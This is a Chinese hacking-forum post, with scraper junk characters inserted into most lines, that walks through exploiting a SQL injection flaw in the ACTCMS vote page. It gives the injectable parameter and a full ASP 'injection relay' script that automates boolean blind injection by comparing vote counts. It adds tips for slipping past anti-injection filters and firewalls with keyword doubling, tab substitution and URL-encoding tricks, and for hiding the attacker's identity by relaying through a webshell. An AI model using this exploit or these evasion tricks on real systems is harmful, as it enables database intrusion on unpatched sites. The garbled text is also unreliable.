3 A. f3 D/ Y, L( S% B% c8 S9 P
看到ninty大牛的blog的一篇文章
2 `/ v* T; U2 [+ O0 Y/ K链接标记[url]http://www.forjj.com/?action=show&id=80[/url]* |: |2 H' D6 G! `/ {( D/ \5 l i
关于actcms漏洞的利用 by 3x qq:381862589
, {+ B- y2 r5 V0 _- W1 b转载请注明以上 [- @& M4 h+ X" Z/ @
漏洞文件:
1 N0 |8 N7 [9 \1 N5 M" [! O/plus/vote/vote.asp
1 O* p5 C* K9 V* |5 c* [; V代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then
& W2 n* l; C' @( e; Q/ ^
6 {- \. }. a3 \9 N3 V2 response.write "<script>alert('请选择投票项目。');window.close()</script>" 3 P H( X0 E; ]# ?1 [1 }0 A4 ?9 T
; _% L3 K! R7 C3 response.end ; u: i8 j. ]6 Z: _
3 F* L# ]( D _2 F7 r* a
4 end if - ~) R) a5 g, E; U0 G# v& T3 c
0 E4 U4 l L0 z9 J5 for i=1 to request("voted").count
! B# |6 P# i8 X8 x% B- ~" |1 Y& o8 q/ B9 K1 T
6 actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))
: t( R. q$ f; Q5 @7 [- `. Q4 y% P
5 J: F, b9 V7 n; R# F5 e7 next - {1 ~7 M. s+ Z+ J8 t& g
% |2 m4 n) }# ]4 _: v5 y/ j& X
8.... % u/ s) s! d; C |. z% t
# \ A1 M. Z# {9 `0 t) T9response.Redirect "index.asp?id="&id&""
; ] u2 o5 n- \ d投票结束回跳转回index.asp这个投票结果页面+ Q' @7 T, w" n8 v' ^2 c
如果投票成功票数加1/ }7 e9 s, K, w: f" W
失败票数不变# S3 a+ P% f K1 i0 U, j
如图: I: g. J; R" E- m/ Z& g+ n6 P
http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB): n+ f2 t' t% n$ V% u# k
! o% Q( n c* s: l w6 d2009-12-27 13:20, }# N w& y `
5 f. W9 N# D, j( {利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了0 v9 h: M+ G& _' K# w% n7 U
& L" w1 p5 _! b) Y/ E3 z本帖隐藏的内容需要回复才可以浏览 k- g! Q/ @: A+ @2 ^$ \
我们用注入中转来实现这个注入具体代码如下:9 r, D% d' z, \ p0 d ?% y
先用寂寞的刺猬大牛的注入中转生成jmget.asp
8 k- K% x% [* L) J& h3 t4 z注入地址:http://localhost/actcms/plus/vote/vote.asp
$ T/ p$ n5 e8 b1 U4 b注入键值:id=1&voted=-1 or 1= '这里这样换的话就有学问了,不用去判断有什么投票选项
5 F# c5 _6 O- p' U4 ~6 s- U* R
4 p% l: K! v; A' @然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<%
7 X+ c' Q8 U7 q' {- z% x% }, A" s! x7 T) e5 }7 K( n/ l+ v+ T
02JmdcwName=request("jmdcw") - ?4 V. U; J3 U$ P B1 y
6 E3 b- v% B* z( F03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
& P2 ~; @3 z/ v4 Z
5 ^1 q. S# y! T* |3 `( c04JmStr="id=1&voted=-1 or 1="&JmdcwName
" i, x: Y& y# L- f D/ e+ w% \" n) G6 ^( u
05JmStr=URLEncoding(JmStr)
2 {2 E. X! Y$ L* m3 K
; |& I9 ?! v8 m/ Z' h8 b% f06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"
0 Q2 b; ]& |5 y( M; x8 B" @$ d5 e+ P, l
07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"
; C- s: Z" E- @) b) j7 b) F
. H a: z# p: y- H) A X08testurl=testurl & "?" & JmStr + ]* W: ~% u% _ B/ t+ [6 d; R
3 E% V1 ]9 o' \4 y# V; w09JMUrl=JMUrl & "?" & JmStr
- z* p7 K+ i$ K1 |9 W( Y7 b3 w7 t
. T! V; h" h& N. r1 W0 F10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
& r5 A7 I( t* |
& c$ l+ ?1 }5 F9 T' G: y11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"% w# E6 p* A* F# L4 Z# D
6 X# ?; j) l; N- Y' G, A$ Z12JmCok=replace(JmCok,chr(32),"%20")
- y! B; M. D* ^( T2 i4 e
0 Y1 R: _2 H4 r( f. ?" U4 q1 k: v13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数 : f0 W6 I9 W9 k1 W6 z
3 g! O& L/ F; t7 h) i) w' q14
9 b: e. J5 }5 r( F1 l, v. ]8 m; ?$ w. {
15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
& i# w5 g5 v/ i4 L; H. G( V/ L
( i) e* H8 ^8 G% {, j2 g0 b$ f1 O16
* t4 x: J# ]; U! g( s8 _, O: v4 L( f* o1 Y6 ^
17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
* ^) Z+ S" O9 d) c" P, m; g$ r" m
% c5 v6 r' r6 ?# ]3 E18response.write test1&""&test2&""
$ h# y# h# X- {$ P. M+ j0 y: ]8 {4 i, u) |5 F! B
19
8 o+ m1 C, n% P, o
0 G3 c, y/ Q& T% Z20if test1=test2 then '如前后记录相等,表示失败 2 `. j& ^5 r* ~/ ?4 \
- M, X: w1 S$ S
21 response.write "failed"
. G* n) `/ D, D" w" d' N* W+ ~+ u2 M0 ^4 c/ k8 w# E
22else
- c+ O5 [0 Z0 _' v1 M
2 w% {5 O/ C; z: G23 response.write "succeed"6 S! X' b& C5 L2 G/ P Q2 I# U, l' l
7 O' ~3 D9 l. H" X6 N* d
24end if
4 v2 M& _0 d3 \6 c' z2 z# ^7 s/ E* G
25
1 f- t, c+ p& U+ g: t* X# ` G$ O; p! r$ K& W% H
26response.write "by 3x"; d# [2 a% B" `
* R8 C6 E' T3 G5 _1 D( I- i
27
; L$ R6 P ^. {$ i; h: [/ ?& D/ v- r' y
28
. I, m! [. J8 D3 `6 a, H" c' _# T% r( h' S9 L
29Function PostData(PostUrl,PostStr,PostCok,PostRef) 3 D3 d$ k; C1 `4 ^$ p; t2 M
7 |% v: l3 ^, x7 Z/ N) A6 a# O30Dim Http
0 O! e! [4 c: Y
; g) `" x7 @ n31Set Http = Server.CreateObject("msxml2.serverXMLHTTP") ) Q* j1 z/ H3 g; s" }- ^, A
4 o/ R( L( g$ J# B6 q3 w1 P4 c
32With Http
9 ^" a. s* Y2 T. i3 b6 o" M! I3 q! d7 N3 ?) m
33
- u. `0 ?6 D- i
) b$ p- V0 M3 ]6 [* t6 [/ f, A34.Open "GET",PostUrl,False
@) r6 o/ }& O" H/ B* `2 g4 a8 |0 k2 {" ]: I2 H
35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"6 w* B, t/ K; i6 a$ r3 l
- x0 @7 {8 @ [; h36.SetRequestHeader "Referer",PostRef
/ m3 [+ @7 d: h3 l" y
& `$ |5 E8 I# X37.SetRequestHeader "Cookie",PostCok b6 U9 B$ T8 I" z1 }# c K
3 a* } e( ^3 B2 X, W7 r5 l38.Send () # j$ |4 K! S- X1 j- p5 h9 p
6 U; I& C! }- L1 E8 m39PostData = .ResponseBody 9 w# Y4 g1 }2 G, D$ c) g
2 Y3 ^/ e" E9 g* }# L. R& ~" s$ f40End With
6 J6 m: ?$ Z/ E3 g9 ~# m4 G* g( Z; w- {7 m" I) Z$ {- l
41Set Http = Nothing9 {( S$ }9 n, O" ]9 F
2 v" c+ e6 v# y9 E# h42PostData =bytes2BSTR(PostData)
, h# c: w) X+ I" _$ @! K
! h) \" m' D, S; [$ ^* X. F7 M43End Function
2 r1 S7 @: W# i, a! ?+ y& ?/ L& |& V# R. ^/ T
44
: {; z5 h) ]. g' d- g! y1 [5 y: d) ]! M
45 ' H" u4 K1 U2 E8 Y: K
: X' m0 S9 s9 B3 K% K
46Function bytes2BSTR(vIn) 9 N" A; I' t* M) H( k
5 y( u5 N3 `; f8 k& G
47Dim strReturn , ^- B' C. X# c' J. J: u8 {0 m, K
# H2 r4 r" w2 ?+ K) X
48Dim I, ThisCharCode, NextCharCode - ]/ d- Z' C! ~6 j* Z/ f! G% X
' m% r* b: i$ q2 a, K8 K
49strReturn = ""0 x% W+ @. x1 ~$ D5 \0 ?3 ~
8 e, D$ G) G% Y3 d/ R50For I = 1 To LenB(vIn)
/ c3 C' X6 e4 x7 b W4 ~- T1 P2 a6 z* z
51ThisCharCode = AscB(MidB(vIn, I, 1)) k2 B4 X6 k: T3 ] T6 U
5 `# S) T9 e" P z/ i
52If ThisCharCode < &H80 Then% X9 n- i) h, P# G
, u; X/ t9 c/ ^( L P4 _# s' c53strReturn = strReturn & Chr(ThisCharCode)
$ e' N2 C, G7 x" O1 M% n. b3 d* W9 T# R4 s) L6 z1 P
54Else7 o' [. F( v6 l0 p* _& @$ _
$ `0 ^2 U; B9 p. L8 ~% B55NextCharCode = AscB(MidB(vIn, I + 1, 1))
: s3 g. a# V( @7 f) b: w2 y, m$ G) J8 A
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
6 |0 f2 d) ?7 y- u9 }3 B; m; b% b( Q- e; ~% V/ [3 ^1 O& y
57I = I + 1
9 _3 L H! M# u1 K6 l) L# c9 i; ^! _! f/ D6 S9 F
58End If8 T6 L. x. y b/ Z* s |
' p( |: f, Z& ?8 t0 t& O; M2 n* D2 E59Next
0 P% R& S5 _3 o/ D2 ^) W m
/ J! M. |6 S$ Q' {60bytes2BSTR = strReturn
" `; `* Q. v: x9 c/ ]7 p- C2 y/ J# I( I9 k
61End Function
! G, e8 m w2 F* E; r( Y( G: n4 X3 R9 x% |. b+ k* o* K4 X
62 3 F4 h, {) h8 B/ i! d( ^% e
, {1 ^" G \0 Q M- u1 P( [+ ]63Function URLEncoding(vstrin)
9 @4 C; {8 v- W8 {; _
* t$ v/ M$ n7 W/ l6 ?+ \$ ~) {64strReturn=""
+ B! u$ x$ v, _7 v5 v5 Q0 t- ^4 X2 |% I" t# \4 |7 y
65Dim i ) Y! Z, T/ P6 a5 c- t
' a0 U( N! C6 v1 g0 b- r
66For i=1 To Len(vstrin)
$ I {+ F! X2 H9 D' L2 q E) X; A |5 k8 b# V5 K% w9 H4 o
67ThisChr=Mid(vstrin,i,1) * f, g0 |- ~' c2 C; A5 A' R8 b8 v6 O
2 L# Z& e5 o) e; O k: y
68if Abs(Asc(ThisChr))< &HFF Then5 l$ e( ?/ S% n' p: \
3 i% }: V: l& r7 D69strReturn=strReturn & ThisChr & b# h; |1 P4 n" V
8 Y& ]) V- {5 _8 M6 h! Z; E70Else
: U$ j# E6 |+ Z; [& [5 h, s* r% Z1 P/ v2 Y
71InnerCode=Asc(ThisChr)
$ t- N4 N/ t0 g7 V/ o4 ^ C: S e1 w1 `
72If InnerCode<0 Then
1 [+ } i. z# l* ^5 b( {
1 J& z* H& E8 L( `. v; E& c73InnerCode=InnerCode + &H10000 " w4 L4 D( O+ g1 }0 {
0 f, q+ g2 T5 b- Z5 h3 M0 O4 g74End If# [$ N& H2 |5 g& j
" ^! W8 [* B0 U& x0 C9 \& l
75Hight1=(InnerCode And &HFF00) \&HFF
6 Z1 y7 t4 R# `$ L9 v4 h# @, ~% y) Q- ]. O9 h% Y, P1 ^
76Low1=InnerCode And &HFF % C( p+ p- M9 v( S
9 u: ~; I' q( U6 a: P/ I5 p$ Z77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
# e: S; m5 \/ u+ \+ O* C" q$ `8 _5 R5 M* m4 J
78End if 5 t3 \2 t$ z! r% t8 X
4 [ [2 o) u4 w" j4 ]8 u2 s79Next6 t' B" \: N3 m1 I! u. o
" T$ F* @5 l; W0 H7 D" g: f' z% _
80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
9 T5 ~$ f+ i) P5 a" V1 H8 K3 E7 Y/ U- Q ?: ?# o5 u
81strReturn=Replace(strReturn,chr(43),"%2B") 'JMDCW增加转换+字符 ; H5 Y% |* M0 P. v' C
: b; o& G- L0 A) H82'strReturn=Replace(strReturn,过滤字符,"转换为字符") '在此增加要过滤的代码 / {; j) Z+ N0 D: c
* d) l% p; f% y3 T6 [9 O& t83URLEncoding=strReturn
2 B. j% u# w& K" a' k# u
5 q- a: ^7 |% j. F a84End Function
6 P: r# s! y2 F( }) B' l! q3 {' B: ?( l' F+ j
85
4 i* }& G! H" ]
) p8 r% [" O/ [! y86function getSt(body) 7 d+ a. N; ~, l& F
* m4 n/ m" Q# }' U% X6 f; {3 J
87 startpot=instr(body,"投票人数:")+len("投票人数:") . S1 X. u+ [. p2 C
* h* M, v+ G" P/ t2 l+ u" V, m88 endpot=instr(startpot,body," ")
) l/ a1 |5 n, H5 P9 ~+ z& F' V5 K2 u/ i* L) ~
89 getSt=mid(body,startpot,endpot-startpot)
& }; A2 ~0 Q# _% f9 e; x) }0 ~2 b2 p% I& N M/ J _: @
90end function
; f$ y9 s' n5 P2 x P! [- f, H! P S; n0 B6 \. P
91%># y1 y: {1 H# g3 ?
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了& Z6 M W9 ~8 a; |) d. F, g
测试下效果:) Q! @! X# I5 y" e$ d+ c
投票成功:8 a8 ]" W: `* t' _8 |
http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)8 K$ N* r0 k' M _/ k+ K
& ^) P4 ^& J! c! G2009-12-27 13:29
! Q% e# l% B3 K3 U2 Y" R6 z8 ^投票失败) B; P( e$ k# M" z6 M1 K4 U
http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB). S2 B$ K( h- P/ T( X
7 _2 E4 C+ ^, M& X: Q' |
2009-12-27 13:298 {9 R: [5 ^4 {/ S9 h& R0 a' k- Z
-------------------------------------------------------------------------------! S: f9 S- b4 c$ L1 J5 b i/ o
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以
' [+ }7 L& }, Q' m, O9 ~很抱歉。。。只能用单线程工具去注入。。。。。
, m7 X) O( K3 t0 F' C9 V- L所以失败。。。不好意思。。。- o' a8 f3 w* S
-------------------------------------------------------------------------------/ K9 D C. O4 \
* y8 u3 G4 j& ~8 Q
注入中转的一些其他应用
1 w5 t2 z5 }. R1 f' | r8 m8 x! _% D其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
/ [4 u0 F" r9 m1 L# Q1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id
8 H5 T% {( \- [! y2.post注入转成get型的注入,方便我们使用工具来跑, B3 Q. @ g+ M0 x1 g, J' |& Y- f
3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")
7 ^1 _; A( G0 ]4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过8 f2 K1 a# L" z; p2 V4 C# F
3 M7 C; n9 P9 j/ d2 N5 Z' T* l0 m. s |